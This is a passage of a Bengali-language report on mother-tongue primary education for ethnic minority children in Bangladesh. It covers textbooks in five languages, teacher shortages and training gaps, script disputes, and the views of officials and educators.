এনসিটিবি জানায় চাকমা ভাষার বইয়ের চিত্রগুলো করার কাজে যুক্ত ছিলেন শিল্পী কনকচাঁপা চাকমা। মারমা ভাষার বই লেখার কাজ সমন্বয় ও সম্পাদনা কমিটির প্রধান খাগড়াছড়ির মহালছড়ির পরিবার পরিকল্পনা বিভাগের উপসহকারী কমিউনিটি মেডিকেল কর্মকর্তা অংক্যজাই মারমা। তিনি বলেন, প্রাক-প্রাথমিকের জন্য জাতীয়ভাবে প্রণীত বইয়ের আদলেই এসব বইয়ে পাণ্ডুলিপি তৈরি করা হয়েছে। তবে বর্ণভিত্তিক পরিচয়গুলো দেওয়া হয়েছে নিজস্ব সংস্কৃর্তি। এনসিটিবির একাধিক শিক্ষা বিশেষজ্ঞ বলেন, শিশুকে শিক্ষার জন্য প্রস্তত করতে প্রাক-প্রাথমিক পর্যায়ে মাতৃভাষায় শিক্ষা দেওয়া জরুরী। এরপর সে ধীরে ধীরে মাতৃভাষার সঙ্গে অন্য ভাষায় শিক্ষা নেবে। এ ক্ষেত্রে অন্তর্জাতিকভাবে স্বীকৃত সময় সাত বছর। এই সময়টাকে বলে “ব্রিজিং পিরিয়ড”। জাতীয় শিক্ষানীতিতেও শিশুদের মাতৃভাষায় শিক্ষা দেওয়ার কথা বলা হয়েছে।

একটি শিশু স্কুলে গিয়ে অন্য ভাষায় পড়ালেখা করলে সে তার আত্মপরিচয় খুঁজে পায়না। নিজস্ব ভাষায় শিক্ষার ব্যবস্থা না থাকায় বিদ্যালয় থেকে আদিবাসী শিশুদের ঝরে পড়ার হার অনেক বেশি। এসব শিশুদের শিক্ষার জন্য তাদের আগ্রহ ও আস্থার জায়গাটুকু সৃষ্টি করতে হবে। এজন্য দরকার নিজ নিজ মাতৃভাষায় শিক্ষাদান। বান্দরবান জেলার বড়ইতলী নামে একটি মারমা গ্রামের একটি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক বলেন, “বিদ্যালয়ে ৪০-৫০জন শিক্ষার্থী আছে। তাদেরকে স্কুল ছুটির পর ৩০ মিনিট করে সপ্তাহে তিনদিন পড়াই। কারণ আমি ছাড়া অন্য কোনো শিক্ষক এই ভাষা পারেন না।” এ বছর (২০২৩) জাতীয় শিক্ষাক্রম ও পাঠ্যপুস্তক বোর্ড প্রায় পাঁচ ক্ষুদ্র নৃগোষ্ঠীর ৯৭ হাজার ৫৯৪ জন শিক্ষার্থীর মাঝে দুই লাখ ৩০ হাজার ১৩০ টি বই বিতরণ করেছে। এই বই পড়ানোর দায়িত্বে থাকা অধিকাংশ শিক্ষকই এসব ভাষায় লিখতে-পড়তে জানেনা, শুধু কথা বলতে পারেন। গত তিন বছরে তিন পার্বত্য জেলাগুলোতে কর্মরত চার হাজার ২০৪জনের মধ্যে কেবল ৩৮.৬০ শতাংশ শিক্ষক প্রশিক্ষণ কার্যক্রমে অংশ নেন। ক্ষুদ্র নৃগোষ্ঠীর ওই শিক্ষকদের তাদের নিজেদের ভাষার বর্ণমালার সঙ্গে পরিচয় করিয়ে দেওয়ার উদ্দেশ্যে খাগড়াছড়ি, রাঙামাটি ও বান্দরবান জেলা পরিষদ ১৪ দিনের প্রশিক্ষণের আয়োজন করে। তবে, কেউ কেউ মন্তব্য করেছেন যে, এই প্রশিক্ষণে বর্ণপরিচয়ের বেশি কিছু শেখানো হয়না।

ঐতিহ্যবাহী/চিরাচরিত সংকট

দেশে ক্ষুদ্র নৃগোষ্ঠী রয়েছে প্রায় ৫০ টি। এদের অনেকের নিজস্ব ভাষার লিপি ও বর্ণমালা রয়েছে। তবে শিক্ষা চর্চার সুযোগ না থাকায় এসব ভাষার বেশিরভাগই হারিয়ে যাচ্ছে। পার্বত্য চট্টগ্রামের তিন জেলার বাইরে সবচেয়ে বেশি ক্ষুদ্র নৃগোষ্ঠীর বাস সিলেট অঞ্চলে। এই বিভাগে প্রায় ৩৭ টি ক্ষুদ্র জাতি-গোষ্ঠী রয়েছে। এর মধ্যে চা বাগানেই রয়েছে ২৫-২৬টি জনগোষ্ঠী। তবে সিলেটের ৩৭ জনগোষ্ঠীর মধ্যে এখন পর্যন্ত দু-তিনটি ছাড়া আর কারোরই সরকারিভাবে মাতৃভাষায় শিক্ষালাভের সুযোগ মেলেনি। মণিপুরী ল্যাংগুয়েজ সেন্টার নামে কমলগঞ্জে মণিপুরী ভাষা শিক্ষার তিনটি প্রতিষ্ঠান পরিচালনা করছে উন্নয়ন সহযোগী সংস্থা ‘এথনিক কমিউনিটি ডেভেলপমেন্ট অর্গানাইজেশন (একডো)’3। প্রতিষ্ঠানটির পরিচালক বলেন, জাতীয় শিক্ষানীতিতে থাকলেও সরকারিভাবে বেশিরভাগ নৃগোষ্ঠীর ভাষা শিক্ষার কোনো ব্যবস্থা নেই। ২০১৫সাল আমরা তিনটি স্কুল পরিচালনা করছি। আমরা নিজেরাই বই ছাপাই। বইপুস্তক তৈরির জন্য দক্ষ মানুষ পাওয়া যায়না। মণিপুরী ছাড়া এখানকার অন্য অনেক নৃগোষ্ঠীর ভাষার বর্ণমালাও নেই। শিক্ষকের অভাব তো আছেই। 

সাংগঠনিক উদ্যোগে প্রধান তিন ক্ষুদ্র নৃগোষ্ঠী মারমা, চাকমা ও ত্রিপুরা শিশুদের নিজস্ব মাতৃভাষার বর্ণমালায় কেয়াং বা মন্দিরভিত্তিক প্রাক-প্রাথমিক শিক্ষাদান কার্যক্রম পরিচালিত হচ্ছে তিন পার্বত্য জেলায়। পার্বত্য চট্টগ্রাম, সিলেট, ময়মনসিংহসহ কয়েকটি অঞ্চলে বাস করেন অন্তত ৩০ লাখ ক্ষুদ্র নৃগোষ্ঠীর মানুষ। আন্তর্জাতিক মাতৃভাষা ইন্সটিটিউটের সমীক্ষা অনুযায়ী বাংলাদেশে ৪১ টি ভাষা রয়েছে, তার মধ্যে ৩৪ টি ক্ষুদ্র জাতিগোষ্ঠীর ভাষা। এর মধ্যে হাতেগোনা কযেকটির লিখিতরূপ আছে। কিন্তু সেই বর্ণমালায় শিক্ষার সুযোগ তেমন না থাকায় তাদের নিজস্ব ভাষাগুলো মৌখিকভাবে চর্চা হলেও এর লিখিতরূপ হারাতে বসেছে। এসব সম্প্রদায়ের একটি বড়ো অংশই নিজেদের এই বর্ণমালার সাথে পরিচিত নয়। কয়েকবার সেমিনার করেও এ বিষয়ে সর্বসম্মত বর্ণমালার রূপ পাওয়া যায়নি। এর ফলে অন্য ১০টি ভাষায় লিখিত ও কথ্য রূপ নিয়ে কাজ করতে পারলেও কেএসআই খেয়াংদের নিয়ে ভাষা শিক্ষা প্রশিক্ষনের কোনো কর্মসূচি হাতে নেওয়া যায়নি। শিক্ষক সংকটের কারণ অনুসন্ধান করতে গিয়ে জানা গেল ক্ষুদ্র নৃগোষ্ঠীর যারা শিক্ষিত ব্যক্তি, তাদের অধিকাংশই নিজ ভাষায় কথা বলতে পারলেও পড়তে বা লিখতে পারেন না, যেমনটা খাগড়াছড়ির মধু ত্রিপুরার ক্ষেত্রে ঘটেছে। ত্রিপুরা নৃগোষ্ঠীর এই সদস্য জানান, প্রাতিষ্ঠানিক ও দাপ্তরিক কাজে ককবরক ভাষার ব্যবহার না থাকায় এর বর্ণের সাথে তার পরিবারের পরিচয় নেই। ‘‘পড়ালেখা তো করেছি বাংলা আর ইংরেজিতে। সে কারণে কথাবার্তা বলার বাইরে আমাদের ভাষার ব্যবহার নেই। ফলে লেখা বা পড়াটা হয়নি। আর আমাদের সময় তো এটার লিখিত রূপ ছিলনা। এখন সরকার এসে করল, আগে হলে আমরা পড়তে পারতাম নিজের ভাষায়। বাচ্চারা ঢাকায় বড়ো হচ্ছে, এখানেই পড়ছে। তাদের সামনে তো সুযোগ আরও কম।” মধু ত্রিপুরার দুই মেয়ে ঢাকার ভিাকরুন্নেসা স্কুলে পড়ে। সে হিসেবে তাদের নিজেদের ভাষায় পড়ার সুযোগ নেই। তবে তিনি মনে করেন, “এই উদ্যোগ যথাযথাভাবে বাস্তবায়ন হলে ক্ষুদ্র নৃগোষ্ঠীদের ভাষার সমৃদ্ধিতে তা বড়ো ভূমিকা রাখবে। এলাকার বাচ্চারা এখন নিজের ভাষায় পড়তে পারছে, ভাষার চর্চা করতে পারছে, এটা একটা ভালো উদ্যোগ। কিন্তু অন্য যে ভাষাগুলো আছে, সেগুলোর বইও বের করা উচিত।”

প্রশাসনিক সংকট

ক্ষুদ্র নৃগোষ্ঠীর শিক্ষার্থীদের মাতৃভাষায় শিক্ষাদান শিক্ষকদের কাছে মোটামুটিভাবে এক ধরনের চ্যালেঞ্জ কারণ অনেক শিক্ষকই নিজ নিজ ভাষায় লিখতে ও পড়তে জানেন  না। তারা তাদের ভাষায় কথা বলতে পারেন কিন্তু লিখতে ও পড়তে পারেন না, তাদের লেখাপড়া পার হয়েছে বাংলা ভাষা শিখে। সে জন্য তাদের নিজেদেরও নিজ নিজ ভাষায় পড়া ও লেখার জন্য প্রশিক্ষণ নিতে হয়। অনেক স্কুলে আবার রয়েছে শিক্ষার্থীদের সঙ্গে একই মাতৃভাষা ব্যবহারকারী শিক্ষকের সংখ্যার স্বল্পতা। কোনো কোনো বিদ্যালয়ে দুইজনের বেশি শিক্ষক নেই, যারা মাতৃভাষায় শেখাতে পারেন। অথচ শিক্ষার্থী আছে একশর’ও বেশি। শিক্ষকদের মতে মারমা ভাষায় পড়ালে শিশুরা বুঝতে পারে তাড়াতাড়ি; যেহেতু তাদের নিজস্ব ভাষা। 

বিশেষজ্ঞরা জানান, প্রাথমিক স্তরে মাতৃভাষায় শিক্ষা কার্যক্রম চালু কেবল বই বিতরণের মধ্যেই সীমাবদ্ধ থাকা উচিত নয়। শিক্ষকদের উপযুক্ত প্রশিক্ষন এবং পাঠদান সম্পর্কে সুস্পষ্ট নির্দেশনা দেওয়া প্রয়োজন কারন একই ক্লাসে বহুভাষায় কথা বলা শিক্ষার্থীদের পাঠদান পদ্ধতি প্রচলিত শিক্ষা পদ্ধতির চেয়ে আলাদা। বাংলাদেশ আদিবাসী ফোরামের সাধারণ সম্পাদক সঞ্জীব দ্রুং বলেন, “জাতিসংঘের সনদ অনুযায়ী বিশ্বের সব সম্প্রদায়ের মাতৃভাষায় পড়ালেখা করার অধিকার আছে। বাংলাদেশ জাতিসংঘ সনদে স্বাক্ষরকারী দেশ, জাতিসংঘের সদস্য। এই স্কুলগুলোতে বিশেষ প্রক্রিয়ায় শিক্ষক নিয়োগ দেওয়া উচিত বলে তিনি মনে করেন।” শিশুরা জন্মের পর মায়ের কাছ থেকে যে ভাষা শোনে সেই ভাষায়ই তারা স্বপ্ন বোনে। কিন্তু এই ভাষাটি যদি সে শিখতে না পারে, তবে তার স্বপ্ন বাস্তবায়নের পথ বাঁধাগ্রস্ত হয়। সে অন্ধকারে হাতড়াতে থাকে। তবে বর্তমান সরকার বিষয়টির গুরুত্ব উপলব্ধি করে প্রথমবারের মতো ক্ষুদ্র নৃগোষ্ঠীর শিক্ষার্থীদের জন্য তৃতীয় শ্রেণি পর্যন্ত তাদের নিজস্ব ভাষায় শেখার ব্যবস্থা করেছে। এটি অবশ্যই ধন্যবাদ পাওয়ার যোগ্য। এখন নির্দিষ্ট কোনো নৃগোষ্ঠীর শিক্ষকগন যদি তাদের নিজস্ব মাতৃভাষায় লেখাতে ও পড়াতে না পারেন সেটি একটি গভীর সমস্যা। এখানে সরকারের পক্ষে হঠাৎ করে বিপ্লব ঘটানো সম্ভব নয়। আর একটি হচ্ছে ৫০ টি ক্ষুদ্র নৃগোষ্ঠীর মধ্যে সবার ভাষায় বই তৈরি করাও কতটা বাস্তবসম্মত সেটিও আমাদের ভেবে দেখা প্রয়োজন। আমরা ইতোমধ্যে জেনেছি যে, সব নৃগোষ্ঠীর নিজস্ব বর্ণমালা নেই। যে পাঁচটি ভাষায় বই তৈরি করা হয়েছে, ঐ ভাষার লোকসংখ্যাই বেশি। এটিতো একটি যুক্তিসঙ্গত সিদ্ধান্ত। তবে, এই মহৎ উদ্দেশ্য বাস্তবায়নে সংশ্লিষ্ট সবাইকে এগিয়ে আসতে হবে, সহযোগিতা করতে হবে। 

শিক্ষক স্বল্পতার কারণে এক রুমে দুই শ্রেণির শিক্ষার্থী বসানো হয়। এক শ্রেণির শিক্ষার্থীদের পড়ালে অন্য এক শ্রেণির শিক্ষার্থীরা হা করে বসে থাকে। অথাৎ যদি প্রথম ও দ্বিতীয় শ্রেণির শিক্ষার্থীদের এক রুমে একরুমে বসানো হয় এবং সেখানে যদি দ্বিতীয় শ্রেণির বই পড়ানো হয় তাহলে প্রথম শ্রেণির শিক্ষার্থীরা বসে থাকে। শিক্ষকদের নিবিড় প্রশিক্ষন প্রয়োজন, সেটিতেও ঘাটতি রয়েছে। স্থানীয়ভাবে জাবারাং4 যে প্রশিক্ষণ দেয় তাতে পুরো উদ্দেশ্য সফল হয়না। শিক্ষকরা বলেন, তাদের দুই থেকে পাঁচদিনের প্রশিক্ষন হয় যা যথেষ্ট নয়। তারা প্রশিক্ষনে বর্ণগুলো চিনে আগে থেকে, কিন্তু শুধু বর্ণ চিনলে তো হবেনা। মাতৃভাষা হলেও আয়ত্ত করতে আমাদের সময় লাগে। তাদের ’কার’ চিহ্নগুলো চিনতে হয়। ওখানে আবার বানান করতে হয়। আর একটি সমস্যা হচ্ছে, এক বিদ্যালয়ে শিক্ষার্থীরা হচ্ছে চাকমা জন জনগোষ্ঠীর আর শিক্ষক হচ্ছেন ত্রিপুরা জনগোষ্ঠীর। চাকমা শিক্ষকরা মারমা ভাষা জানে না। তাই তাদের পাঠ্যপুস্তকের বিষয়বস্তু উদাহরন দিয়ে বুঝাতে পারেন না। তারা শুনে শুনে ভাষা আয়ত্ত করেন। শিক্ষকদের সঙ্গে কথা বলে জানা গেছে যে, যখন কোনো শিক্ষককে বদলী করা হয় তখন খতিয়ে দেখা হয় না যে তিনি কোন জনগোষ্ঠীর এবং যেখানে বদলি করা হচ্ছে সেখানে কোন ভাষার শিক্ষার্থীরা আছে। যার কারনে শিক্ষক সংকট আরো তীব্র হয়েছে। এই বিষয়টি মাথায় রেখে যদি শিক্ষক বদলি করা হয় তাহলে শিক্ষার্থী ও শিক্ষক দুু’পক্ষই উপকৃত হবে। শুধু সরকারি প্রাথমিক বিদ্যালয়ে নয়, সংকট আছে বেসরকারি প্রাথমিক বিদ্যালয়গুলোতেও। অনেক বেসরকারি প্রাইমারিতে এক ক্লাসে দুই ভাষার মিশ্র শিক্ষার্থীরা পড়ে। মাতৃভাষার ক্লাস চলাকালে এক ভাষায় শেখানো হলে অন্য ভাষার শিক্ষার্থীদের বসে থাকতে হয়। খাগড়াছড়ি সদর উপজেলার ভাইবোনছড়া ইউনিয়নের প্রত্যন্ত এলাকার হামাচং বেসরকারি প্রাথমিক বিদ্যালয়ে ত্রিপুরাদের মাতৃভাষা ‘ককবরকে’ পাঠ দেওয়া হয়। সেই বিদ্যালয়ের প্রতিটি ক্লাসেই মিশ্র ভাষার কিছু শিক্ষার্থী আছে। ত্রিপুরা ভাষার বই পড়ানোর সময় অন্যভাষী শিশুরা চুপচাপ বসে থাকে, কারণ তারা অন্যের ভাষা বোঝে না। 

২০১৭ সাল হতে প্রথম পর্যায়ে এ পাঁচটি মাতৃভাষায় পাঠদানের বই বিতরণ করা হলেও ওই ভাষার শিক্ষক বা প্রশিক্ষিত শিক্ষক না থাকায় ক্ষুদ্র নৃগোষ্ঠীর শিশুদের মাতৃভাষায় শিক্ষালাভ থেকে বিরতই থেকে যাচ্ছে—এমন মন্তব্য করে বাংলাদেশ মারমা উন্নয়ন সংসদের কেন্দ্রীয় সভাপতি ও খাগড়াছড়ি পার্বত্য জেলা পরিষদের সাবেক সদস্য মংপ্রু চৌধুরী বলেন, ক্ষুদ্র নৃগোষ্ঠীর শিশুদের মাতৃভাষায় শিক্ষাকার্যক্রমের আশানুরূপ অগ্রগতি নেই। সাংগঠনিক উদ্যোগে নিজস্ব বর্ণমালায় বই ছাপিয়ে খাগড়াছড়ি, রাঙ্গামাটি ও বান্দরবান জেলায় গ্রামের বৌদ্ধ মন্দির, কেয়াং প্রভৃতি ধর্মীয় উপসনালয়ে শিশুদের প্রাক-প্রাথমিকের শিক্ষা দেওয়া হচ্ছে। তিনি বলেন, তিন পার্বত্য জেলা পরিষদ এ ক্ষেত্রে সবেচেয়ে বেশি ভূমিকা রাখতে পারে। কারণ তিন পার্বত্য জেলায় প্রাথমিক শিক্ষা বিভাগ তাদের উপর ন্যস্ত। কিন্তু এ ব্যাপারে প্রতিষ্ঠানগুলো সক্রিয় নয়। 

সরকারি হিসাবে দেশের ক্ষুদ্র নৃগোষ্ঠীগুলোর সদস্যদের প্রায় ৪০ শতাংশের বাস পার্বত্য চট্টগ্রাম অঞ্চলে। এ ছাড়া রাজশাহী, সিলেট, ময়মনসিংহসহ বেশ কিছু অ লে তারা আছেন। তবে, ক্ষুদ্র নৃগোষ্ঠীর ব্যাপক জনবসতি না থাকায় পার্বত্য চট্টগ্রামের বাইরে নিজের ভাষায় পড়ার সুযোগ কম। খাগড়াছড়ির পানছিড়ি উপজেলার শুকনাছড়ি সরকারি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক কাহ্লসাই চৌধুরী মারমা জানান, একটি ভাষার শিক্ষক যখন অন্য ভাষায় পড়াতে যান, তখনই তিনি সমস্যার সম্মুখীন হচ্ছেন। তিনি বলেন, “কর্তৃপক্ষ নজর দেয়নি যে কে কোন সম্প্রদায়ের? যেমন আমি মারমা, কিন্তু আমাকে ত্রিপুরা সম্প্রদায়ের একটি স্কুলে দেওয়া হয়েছে। আমি মারমা ভাষাসহ অন্যান্য ভাষাগুলো জানায় পড়াতে অসুবিধা হচ্ছেনা। আমার স্কুলে দুইজন সহকারী শিক্ষক আছেন, যারা ত্রিপুরা ভাষায় স্থানীয় একটি এনজিও থেকে প্রশিক্ষণ নিয়েছেন। আমার স্কুলে তেমন সমস্যা না হলেও অন্যান্য স্কুলে হচ্ছে।” স্কুলে বই এসেছে, শিক্ষার্থীও আছে। কিন্তু অনেক শিক্ষক প্রশিক্ষন পাচ্ছেন না। স্থানীয় যে প্রশিক্ষনগুলো হচ্ছে তাও খুব সংক্ষিপ্ত সময়ে হচ্ছে। চাকমা, মারমা ও ত্রিপুরা ভাষার এই প্রশিক্ষক বলেন, “শিক্ষকরা প্রশিক্ষণ না পাওয়ায় এবং অনেক শিক্ষকের নিজের ভাষায় অক্ষরজ্ঞান না থাকায় শিক্ষকরা সমস্যায় পড়ছেন।”

রাঙামাটির রাজস্থলির তাইতংপাড়া সরকারি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক জানান, ক্ষুদ্র নৃ-গোষ্ঠীর শিশুদের নিজের ভাষায় পড়ার আগ্রহ কম থাকার পেছনে বর্তমান পাঠ্যসূচিও একটি কারণ। অন্যান্য পাঠ্যবই বাংলা-ইংরেজিতে হওয়ায় এবং প্রাইভেট শিক্ষকদের চাপ থাকায় শিশুরা শেষ পর্যন্ত নিজের ভাষা শেখার আগ্রহ হারিয়ে ফেলে। আবার চাকরির চিন্তায় বাংলা ও ইংরেজিকে গুরুত্ব দিতেই হয়, আরেকটি ভাষার চাপ নিতে চায়না অনেকে। সপ্তাহে অন্তত দুই থেকে তিনদিন যদি তাদের ভাষা শিক্ষার একটি ক্লাস সরকার রুটিনে অন্তর্ভুক্ত করে দেয়, তাহলেই শিক্ষার্থীরা লাভবান হবে। একই ধরনের মত দিলেন খাগড়াছড়ির মাটিরাঙ্গার বেলচুড়ি হেমেন্দ্র হেডম্যানপাড়া সরকারি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক বাবুল চন্দ্র ত্রিপুরা। তার কথায় অনেক পড়ার চাপে নিজের ভাষার জন্য আলাদা সময় দেওয়াটা শিশুদের জন্য কষ্টসাধ্য। 

জাতীয় শিক্ষাক্রম ও পাঠ্যপুস্তক বোর্ডের চেয়ারম্যান বলেন যে, ক্ষুদ্র নৃগোষ্ঠীর যে পাঁচটি ভাষার বই পাঠ্যবই হয়েছে, তার ব্যবস্থাপনার অবস্থা খুব খারাপ। সরকার যে উদ্দেশ্যে এত খরচ করে বইটা তাদের মতো করে দিল, সেভাবে তারা পাঠদানে যাচ্ছে না। সরকার অগ্রাধিকার দিয়ে কাজটা করল, শিক্ষকদেরও প্রশিক্ষণের ব্যবস্থা করেছিল। কিন্তু যে উদ্দেশ্যে এটি করা হয়েছিল, সেটা সফল হয়নি। চলতি বছর পাঁচটি ক্ষুদ্র ও নৃগোষ্ঠীর শিক্ষার্থীদের মধ্যে ৩ লাখ ১২ হাজার বই বিতরণ করার তথ্য দিয়েছে এনসিটিবি। জানিয়েছে, শুরুতে সাঁওতাল ভাষা নিয়ে পাঠ্যবই প্রণয়নের পরিকল্পনা থাকলেও লিপি নিয়ে জটিলতায় তা আটকে যায়। একই সমস্যা তৈরি হয় মনিপুরীদের ভাষার ক্ষেত্রেও। এনসিটিবির চেয়ারম্যান জানিয়েছেন ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষায় পাঠ্যবই তৈরির প্রক্রিয়া স্থগিত হয়ে গেছে। কারণ হিসেবে চেয়ারম্যান বলেন, “আমরা মনিপুরি ভাষায় পাঠ্যবইয়ের কাজটা যখন করতে গেলাম, তখন তাদের মধ্যে দুটি ভাগ তাদের ভাষায় করতে বললেন অর্থাৎ একটি ভাষার মধ্যে দুটি শাখা। এক পক্ষ বলছে তাদেরটা করতে হবে, তারা সংখ্যাগরিষ্ঠ। সরকার অনেক দূর এগিয়ে কাজটি আর করতে পারল না।”

বর্তমান অবস্থা 

ইতোমধ্যে সাড়ে তিনশত শিক্ষককে মাতৃভাষায় পাঠদানের প্রশিক্ষণ দেওয়া হয়েছে। পার্বত্য চট্টগ্রামে চাকমা, মারমা, ত্রিপুরাসহ এগারো ভাষাভাষীর ১৩ টি ক্ষুদ্র নৃগোষ্ঠী রয়েছে। প্রশিক্ষিত শিক্ষকের মাধ্যমে মাতৃভাষায় পড়াশুনা করার সুযোগ পাবে, এমনটাই প্রত্যাশা পাহাড়ী জনগোষ্ঠীর। শিক্ষার উন্নয়নে নানা উদ্যোগ বাস্তবায়ন করে চলেছে সরকার। এর মধ্যে চাকমা, মারমা, ত্রিপুরা, গারো ও সাদ্রী—এই ৫ টি ক্ষুদ্র নৃ-গোষ্ঠীর ভাষায় শিশুদের বিনামূল্যে বই দেওয়া হচ্ছে। চাকমা, মারমা, ত্রিপুরা ও সমতলের ক্ষুদ্র জাতিগোষ্ঠীর জন্য জাতীয় পর্যাযে মাল্টি ল্যাংগুয়েল এডুকেশন (এমএলই) কার্যক্রম বাস্তবায়নের জন্য তিনটি কমিটি গঠন করা হয়। আর ২০১৭সাল থেকে দেশের ক্ষুদ্র জাতিসত্তার জনগোষ্ঠীর শিশুদের মাতৃভাষায় পড়াশোনার জন্য বই বিতরণ শুরু করে সরকার। পাঠ্যক্রম ও পাঠ্যপুস্তক বোর্ড (এনসিটিবি) সূত্র জানায়, ২০১৭ শিক্ষাবর্ষ থেকে চাকমা, মারমা, ত্রিপুরা, গারো ও সাদ্রী ক্ষুদ্র নৃগোষ্ঠীর ভাষায় শিশুদের বিনামূল্যে পাঠ্যপুস্তক দেওয়া শুরু হয়। প্রথম বছর শুধু প্রাক-প্রাথমিকের শিক্ষার্থীদের জন্য বই মুদ্রণ করা হয়। তবে দ্বিতীয় বছর ২০১৮ শিক্ষাবর্ষে প্রাক-প্রাথমিক ও প্রথম শ্রেণি ও ২০১৯শিক্ষাবর্ষ থেকে দ্বিতীয় শ্রেণি পর্যন্ত তাদের পাঠবই দেওয়া হয়। এ বছর নতুন করে তৃতীয় শ্রেণির বই দেওয়া হয়েছে। 

চলতি শিক্ষাবর্ষে প্রাক-প্রাথমিক স্তরের ক্ষুদ্র নৃগোষ্ঠীর ৯৭হাজার ৫৭২শিশুর জন্য পাঁচটি ভাষায় রচিত প্রাক-প্রাথমিক, প্রথম, দ্বিতীয় ও তৃতীয় শ্রেণির দুই লাখ ৩০ হাজার ১০৩কপি বই বিতরণ করা হয়। দৃষ্টি প্রতিবন্ধীদের জন্য ব্রেইল বইও রয়েছে এর মধ্যে। এছাড়া গত শিক্ষাবর্ষে ৯৮ হাজার ১৪৪ জন শিক্ষার্থীর মধ্যে বিতরণ করা হয় দুই লাখ ৭৬ হাজার ৭৮৪ টি পাঠ্যবই। জানা যায়, পাঁচটি ক্ষুদ্র নৃগোষ্ঠীর পাঠ্যবই রাঙামাটি, খাগড়াছড়ি ও বান্দরবান জেলা ছাড়াও হবিগঞ্জের বাহুবল, মৌলভীবাজারের শ্রীমঙ্গল, বড়লেখা ও কুলাউড়া, রংপুরের পীরগঞ্জ ও মিঠাপুকুর, জামালপুরের বকশীগঞ্জ, শেরপুরের শ্রীবর্দী ও নেত্রকোনার দুর্গাপুরসহ বিভিন্ন উপজেলায় বিতরণ করা হয়।

উদ্যোগের ধণাত্মক দিকসমূহ

পার্বত্য চট্টগ্রামে ক্ষুদ্র নৃগোষ্ঠীগুলোর মাতৃভাষা বিস্মৃত হওয়ার আশঙ্কা কমেছে। বিশেষ করে চাকমা, মারমা ও ত্রিপুরা নৃগোষ্ঠীর শিশুরা ছয় বছর ধরে বিদ্যালয়ে নিজেদের ভাষার বই পাচ্ছে। চলতি বছরের প্রথমদিন রাঙামাটির ক্ষুদ্র নৃগোষ্ঠীগুলোর ২৯ হাজার ৮০৬ জন শিশু শিক্ষার্থী মোট ৬৬ হাজার ২৫০ টি নিজেদের মাতৃভাষায় বই পেয়েছে। এ ছাড়া বান্দরবানে ১০ হাজার ৭৫৭ জন শিক্ষার্থী পেয়েছে ২৪ হাজার ২৫১ টি এবং খাগড়াছড়িতে ৩৮ হাজার ৭৮১ জন শিক্ষার্থী পেয়েছে ৮৬ হাজার ৯৮৯ টি বই। 

বাংলা ভাষায় পড়ানোর পর তাদের আবার মারমা ভাষায় বুঝাতে হয়। যেমন গোরু আর ছাগল বললে একটু দেরি হয়, কিন্তু মারমা ভাষায় ‘নোয়’ আর ‘ছুই’ বললে তারা সহজে বুঝতে পারে। ভাষাগত কারণে আগে মারমা শিক্ষার্থী ঝরে পড়তো, কিন্তু এখন কমে গেছে। তাদের নিজস্ব মাতৃভাষায় যখন পড়ানো হয় সেই কারণে শিশুদের স্কুলে যাওয়ার আগ্রহ বেড়েছে। বাংলা ভাষার চেয়ে মাতৃভাষায় শিক্ষার আগ্রহ তাদের বেশি। ইউকে এইডের আর্থিক সহায়তায় ও মানুষের জন্য ফাউন্ডেশন-এর প্রত্যক্ষ তত্ত্বাবধানে খাগড়াছড়ির স্থানীয় বেসরকারি উন্নয়ন সংস্থা ‘জাবারাং কল্যাণ সমিতি’ খাগড়াছড়ি পার্বত্য জেলার তিন উপজেলায় শিক্ষকদের প্রশিক্ষণের ব্যবস্থাসহ মাতৃভাষা শিক্ষায় সহায়তা দিয়ে আসছে। এমএজএফ কারিকুলাম বইয়ের পাশাপাশি সহায়ক বই হিসেবে তিনটি ভাষায় গল্প, ছড়ার বই প্রকাশ করে বিতরণ করেছে প্রাক-প্রাথমিক থেকে পঞ্চম শ্রেণি পর্যন্ত। মাতৃভাষায় পাঠ্যপুস্তক দিলেও সেটি ঠিকমতো বাস্তবায়ন হচ্ছিল না কারণ শিক্ষকদের যথাযথ প্রশিক্ষন না থাকা, মাতৃভাষা শিক্ষাবিষয়ক কার্যক্রম পরিচালনার জন্য নির্দিষ্ট দিকনির্দেশনা না থাকা এবং ক্লাস রুটিন ও মূল্যায়ণ প্রক্রিয়া বিষয়ে সিদ্ধান্ত না থাকা। সেটি দেখে জাবারাং তাদের প্রকল্পের কার্যক্রম ডিজাইন করে। তাদের মূখ্য উদ্দেশ্য হচ্ছে সরকার যাতে মাতৃভাষায় শিক্ষা কার্যক্রম সুচরুরূপে বাস্তবায়ন করতে পারে, তার উদহারন সৃষ্টি করা। যার কারণে তারা শিক্ষকদের প্রশিক্ষণ দিচ্ছে, তারা সরকারির সাথে বেসরকারি বিদ্যালয়কে অন্তুর্ভুক্ত করে। তারা মনে করেন, বেসরকারি বিদ্যালয়ে তাদের ইনোভেশনের সুযোগ আছে।

সংশ্লিষ্ট ও বিশিষ্টজনদের মতামত

২০১৩ সালে কাজ শুরু করে ২০১৭ সালে বই তৈরি করেও ২০২২ সালে কাঙ্খিতভাবে বাস্তবায়ন করা যাচ্ছেনা। ঢাকা বিশ্ববিদ্যালয়ের অধাপক সৌরভ শিকদার বলেন, “অন্যান্য ভাষায় বই প্রণয়নের আগে এই পাঁচটি ভাষার সফল বাস্তবায়ন করা উচিত। এ সম্পর্কে এনসিটিবি বা সরকারের আগে ধারনা ছিল না। তাই এটা বাস্তবায়ন হলে আমরা পরবর্তী ধাপে যাব। পরবর্তীতে অন্যান্য যে জনগোষ্ঠীর লোকসংখ্যা বেশি, যাদের রিসোর্স পার্সন আছে, লিটারেচার আছে, তাদের নিয়ে কাজ করব আমরা। সাঁওতাল ভাষায় লিপির সমস্যার কারণে এটা আটকে গেছে, তাদেরও আমরা নেব।” ক্ষুদ্র নৃ-গোষ্ঠীর শিক্ষার্থীদের প্রাথমিক পর্যন্ত মাতৃভাষায় পড়ালেখা করাতে হবে। প্রাক-প্রাথমিকে ১০০ ভাগ হবে তাদের মাতৃভাষা। প্রথম শ্রেণিতে ৩০ শতাংশ বাংলাভাষা শেখাতে হবে। দ্বিতীয় শ্রেণিতে বাংলা ও ইংরেজি বেড়ে ৫০ শতাংশ হয়ে যাবে। এভাবে মাতৃভাষা থেকে বেরিয়ে সে মূল স্রোত ধারায় চলে আসবে। তবে আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউটের ‘বাংলাদেশের 